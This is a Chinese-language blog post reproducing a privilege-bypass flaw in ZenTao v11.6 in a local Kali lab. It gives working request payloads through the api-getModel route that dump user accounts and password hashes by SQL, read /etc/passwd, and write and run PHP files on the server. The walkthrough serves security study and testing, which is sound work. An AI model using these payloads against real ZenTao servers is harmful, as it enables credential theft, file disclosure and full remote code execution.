禅道全版本漏洞复现


禅道全版本存在RCE漏洞,普通权限的攻击者可以通过module/api/control.php中的getModel方法,越权调用module目录下所有model模块和方法,从而实现SQL注入、任意文件读取、远程代码执行等攻击。

复现环境

kali,Zentao v11.6

环境搭建

官网的DEB包我下载后无法正常使用,不知道是下载过程中有损坏还是版本不兼容,于是找到了压缩包。

$ wget https://www.zentao.net/dl/zentao/11.6/ZenTaoPMS.11.6.stable.zbox_64.tar.gz`
下载后一定要解压到/opt目录下
$ tar -xzvf ZenTaoPMS.11.6.stable.zbox_64.tar.gz -C /opt
可以手动开启apache和mysql,也可以用下面的方法(如果已经开启,那么下面的方式会报错)
$ /opt/zbox/zbox start

之后,浏览器访问http://127.0.0.1/zentao/,即可跳转到登录界面。

访问http://127.0.0.1/zentos/index.php?mode=getconfig可以查看版本信息。

漏洞复现

SQL注入

登录,初始用户名admin,密码123456,初次登录需要修改密码。

登录成功后,在url栏输入http://127.0.0.1/zentao/api-getModel-api-sql-sql=select+account,password+from+zt_user,这是SQL注入的POC,它将构造一条select account,password from zt_user这样的SQL语句。结果如下:

任意文件读取

POC:

http://127.0.0.1/zentao/api-getModel-file-parseCSV-fileName=/etc/passwd

‘fileName=’后面的内容可以自定义,我这里是读取/etc/passwd里面的内容。

远程代码执行

使用HackBar发送POST请求,请求url为http://127.0.0.1/zentao/api-getModel-editor-save-filePath=/tmp/1111,Post Data为fileContent=<?php phpinfo()?>。这将在/tmp下创建一个名字为1111的文件,文件内容为phpinfo()页面。不用在意页面提示的fail,只要查看/tmp目录下已经有文件即可。

然后若想访问该文件,需要以下POC:

http://127.0.0.1/zentao/api-getModel-api-getMethod-filePath=/tmp/1111/1

在1111后面必须再加上一层,否则无法正常访问。

也可以使用其他POC来进行RCE,如fileContent=<?php system('ip a');?>。然后就可以看到本机IP已经在下面显示了出来。


文章作者: 恰醋
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 恰醋 !
评论
  目录